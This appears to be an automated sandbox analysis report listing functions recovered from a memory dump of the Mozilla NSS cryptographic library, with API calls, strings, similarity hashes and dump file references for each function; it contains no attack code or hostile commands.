API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?fl
API String ID: 2446853827-3411516467
Opcode ID: 7360fd23c25287b819042cb3dbece5e26113b47f77cee9a9d1e6d7c059398524
Instruction ID: 821a474005c1b4df32c1f1577426300cb057f82b6317196214a1c153af6a274d
Opcode Fuzzy Hash: 7360fd23c25287b819042cb3dbece5e26113b47f77cee9a9d1e6d7c059398524
Instruction Fuzzy Hash: D05104B6D00105ABEB009F25DC458AA77B8BF0A35CB148530ED1897B11EB31ED69C7EA

Function 6C6BAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6BADB1

Part of subcall function 6C69BE30: SECOID_FindOID_Util.NSS3(6C65311B,00000000,?,6C65311B,?), ref: 6C69BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6BADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6BAE08

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BAE25
PL_FreeArenaPool.NSS3 ref: 6C6BAE63
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C6BAE4D

Part of subcall function 6C5C4C70: TlsGetValue.KERNEL32(?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4C97
Part of subcall function 6C5C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CB0
Part of subcall function 6C5C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6BAE93
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C6BAECC
PL_FreeArenaPool.NSS3 ref: 6C6BAEDE
PL_FinishArenaPool.NSS3 ref: 6C6BAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6BAEF5
PL_FinishArenaPool.NSS3 ref: 6C6BAF16

Strings

security, xrefs: 6C6BADEE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: da6ebd017df34267e2bfa4b42f4e147729979cb5e3ddd3298694ed5b3161a814
Instruction ID: 2f56aebbac28e28117ed72b20332d194c5a7e274430846a28ccedee9f0b112d7
Opcode Fuzzy Hash: da6ebd017df34267e2bfa4b42f4e147729979cb5e3ddd3298694ed5b3161a814
Instruction Fuzzy Hash: C24107B1904310A7E7214A589C85BEF32A8AF4271CF500625F814A6F42F735DA6BC7DF

Function 6C75AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709890: TlsGetValue.KERNEL32(?,?,?,6C7097EB), ref: 6C70989E

EnterCriticalSection.KERNEL32(?), ref: 6C75AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C75AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C75AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C75AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C75B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C75B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C75B070
PR_JoinThread.NSS3(?), ref: 6C75B07B
free.MOZGLUE(?), ref: 6C75B084
EnterCriticalSection.KERNEL32(?), ref: 6C75B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C75B0C4
PR_JoinThread.NSS3(?), ref: 6C75B0F3
free.MOZGLUE(?), ref: 6C75B0FC
PR_JoinThread.NSS3(?), ref: 6C75B137
free.MOZGLUE(?), ref: 6C75B140

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 42b899ac6eed09f02cbba64a8d81cd3622185f722418a41ca6ecdc544f5e4a0c
Instruction ID: 489289e8b0f8f06f590a7f7b6df7043f7d1556bc592d1d6e060419fd135b80c3
Opcode Fuzzy Hash: 42b899ac6eed09f02cbba64a8d81cd3622185f722418a41ca6ecdc544f5e4a0c
Instruction Fuzzy Hash: 129180B5A00601CFCB00DF15C988856BBF1FF4935876985B9D8195BB22EB32FC56CB91

Function 6C6D5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6D2A28,00000060,00000001), ref: 6C6D2BF0
Part of subcall function 6C6D2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6D2A28,00000060,00000001), ref: 6C6D2C07
Part of subcall function 6C6D2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6D2A28,00000060,00000001), ref: 6C6D2C1E
Part of subcall function 6C6D2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6D2A28,00000060,00000001), ref: 6C6D2C4A

free.MOZGLUE(?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5D0F
free.MOZGLUE(?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5D4E
free.MOZGLUE(?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5D62
free.MOZGLUE(?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5D85
free.MOZGLUE(?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5D99
free.MOZGLUE(?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6D5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6D5E47
free.MOZGLUE(?,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6DAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6D5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6D5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6D5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6D5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6D5F4B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e3bbdd5d4afcd2f20dcd87e22be82854ba1acbdde26f5f110bd42b124c052dcf
Instruction ID: f0c530ceda4be8c275462dfb0cafbb63e2219437ea480785f3ae7fe6e786a162
Opcode Fuzzy Hash: e3bbdd5d4afcd2f20dcd87e22be82854ba1acbdde26f5f110bd42b124c052dcf
Instruction Fuzzy Hash: 9E71A1B5A00B019FD700DF24D884A92B7F5FF8A308F158529E85E87B11EB31F965CB99

Function 6C658DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C658E22
EnterCriticalSection.KERNEL32(?), ref: 6C658E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C658E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C658E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C658E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C658EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C658EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C658EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C658F00
free.MOZGLUE(?), ref: 6C658F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C658F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C658F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C658F5B
PR_Unlock.NSS3(?), ref: 6C658F72
PR_Unlock.NSS3(?), ref: 6C658F82

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6754fcd0451570591f371d5e6bb4fd255c1678c6a0ed19bd4d33b8d56e8e31bd
Instruction ID: 5ba3835e75a7633ed1b860c5f81eeffaed150afcb17d7aff7620ef59ed9a6114
Opcode Fuzzy Hash: 6754fcd0451570591f371d5e6bb4fd255c1678c6a0ed19bd4d33b8d56e8e31bd
Instruction Fuzzy Hash: 18513BB2E402059FD7009F68CC849AEB7B9EF49358F64452AEC089BB10EB31ED55C7D5

Function 6C67CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C67CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C67CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C67CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C67CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C67CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C67CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C67CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C67CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C67CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C67CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C67CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C67CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C67CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C67D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C67D021

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 0731ee2a2b7127e04c100d975995cef10c0397aed775d8f27a6a1076f438fbfb
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: AB31A271B9791123EF1D046AAC65BDE114A4B6630EF04183CF90AFA7C0FA859A1B02FD

Function 6C750FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C751000

Part of subcall function 6C709BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C631A48), ref: 6C709BB3
Part of subcall function 6C709BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C631A48), ref: 6C709BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C751016

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_Unlock.NSS3(?), ref: 6C751021

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C751046
PR_Unlock.NSS3(?), ref: 6C75106B
PR_Lock.NSS3 ref: 6C751079
PR_Unlock.NSS3 ref: 6C751096
free.MOZGLUE(?), ref: 6C7510A7
free.MOZGLUE(?), ref: 6C7510B4
PR_DestroyCondVar.NSS3(?), ref: 6C7510BF
PR_DestroyCondVar.NSS3(?), ref: 6C7510CA
PR_DestroyCondVar.NSS3(?), ref: 6C7510D5
PR_DestroyCondVar.NSS3(?), ref: 6C7510E0
PR_DestroyLock.NSS3(?), ref: 6C7510EB
free.MOZGLUE(?), ref: 6C751105

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: e8507fd271b796175c10bc6e876b391ad202e217f06ca77d391836a0360a288d
Instruction ID: c53376cfbfcd6193ff08378087c7101b9c8c57c76271a0c7d020addfe1091ae6
Opcode Fuzzy Hash: e8507fd271b796175c10bc6e876b391ad202e217f06ca77d391836a0360a288d
Instruction Fuzzy Hash: 17318DB5900401BBEB02AF14FE45A45BBB1FF46359B584131E80942F61EB32F978DBDA

Function 6C5CDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5CDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5CDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5CDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5CDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CDECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CDF6D, 6C5CDFCC, 6C5CDFDD
%s at line %d of [%.10s], xrefs: 6C5CDF7C, 6C5CDFEC
database corruption, xrefs: 6C5CDF77, 6C5CDFE7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 2945245e453c5edce6112df78d99959bf9d8709a27eea43585604623e5f01394
Instruction ID: 61e79e1490e3ae978b67956d17ef30259aa819753393794c704413b259f0282a
Opcode Fuzzy Hash: 2945245e453c5edce6112df78d99959bf9d8709a27eea43585604623e5f01394
Instruction Fuzzy Hash: 2DA1D071B442059FC710DF69CC80A6AB7F5AF85308F19892DE889CBB51E734E945CBA2

Function 6C68EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C68EE0B

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68EEE1

Part of subcall function 6C681D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C681D7E
Part of subcall function 6C681D50: EnterCriticalSection.KERNEL32(?), ref: 6C681D8E
Part of subcall function 6C681D50: PR_Unlock.NSS3(?), ref: 6C681DD3

TlsGetValue.KERNEL32 ref: 6C68EE51
EnterCriticalSection.KERNEL32(?), ref: 6C68EE65
PR_Unlock.NSS3(?), ref: 6C68EEA2
free.MOZGLUE(?), ref: 6C68EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C68EED0
PR_Unlock.NSS3(?), ref: 6C68EF48
free.MOZGLUE(?), ref: 6C68EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C68EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C68EFA4
free.MOZGLUE(?), ref: 6C68EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C68F055
free.MOZGLUE(?), ref: 6C68F060

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 91d32b3410c6bb3ce8cfecedbd24afed756415c373c771cd806383cc5b6205af
Instruction ID: 788e81fc783ec32c60463a23ce0ffba029711f1eedda6f2ab764710beb8283b5
Opcode Fuzzy Hash: 91d32b3410c6bb3ce8cfecedbd24afed756415c373c771cd806383cc5b6205af
Instruction Fuzzy Hash: 3F818EB5A01209AFDF00DFA5DC85ADE7BB5BF49308F140024E919A7711E731E925CBB9

Function 6C654CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C654D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C654D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C654DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C654E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C654E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C654E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C654E85
DER_Encode_Util.NSS3(?,?,6C7A05A4,00000000), ref: 6C654EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C654F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C654F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C654F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C654F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C654F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C654FC8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 141480161fc60a8c28cdafb3375c75c9d6ef24462f067864c94568a494f44d8a
Instruction ID: c4241de18bbeb09ab33c6a3ce3631ce252137b77dc86844433d24581bb7a420f
Opcode Fuzzy Hash: 141480161fc60a8c28cdafb3375c75c9d6ef24462f067864c94568a494f44d8a
Instruction Fuzzy Hash: DA81D4716083019FE701CF28D840BABB7E4AFC5308F64856DF959DB640E771E925CB9A

Function 6C695C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C695C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C695CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C695CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C695D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C695D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C695D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C695E18
TlsGetValue.KERNEL32 ref: 6C695E5E
EnterCriticalSection.KERNEL32(?), ref: 6C695E72
PR_Unlock.NSS3(?), ref: 6C695E8B

Part of subcall function 6C68F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C68F854
Part of subcall function 6C68F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C68F868
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C68F882
Part of subcall function 6C68F820: free.MOZGLUE(04C483FF,?,?), ref: 6C68F889
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C68F8A4
Part of subcall function 6C68F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C68F8AB
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C68F8C9
Part of subcall function 6C68F820: free.MOZGLUE(280F10EC,?,?), ref: 6C68F8D0

Strings

d, xrefs: 6C695C36
tokens=[0x%x=<%s>], xrefs: 6C695D3D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 9c8c8ee9ce2c0d61dcfaaab5b9668b47771eebebc4970a862a03f0d1025ac868
Instruction ID: a7e8581d6baf3e5b0f56170ef5e437a2fa496f82cda2e2cb9d5d4177ce144252
Opcode Fuzzy Hash: 9c8c8ee9ce2c0d61dcfaaab5b9668b47771eebebc4970a862a03f0d1025ac868
Instruction Fuzzy Hash: F371F8F0A051069BEB009F25ED4576E3375AF4531EF140135EC099AB52EB32E91AC79E

Function 6C688F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C689582), ref: 6C688F5B

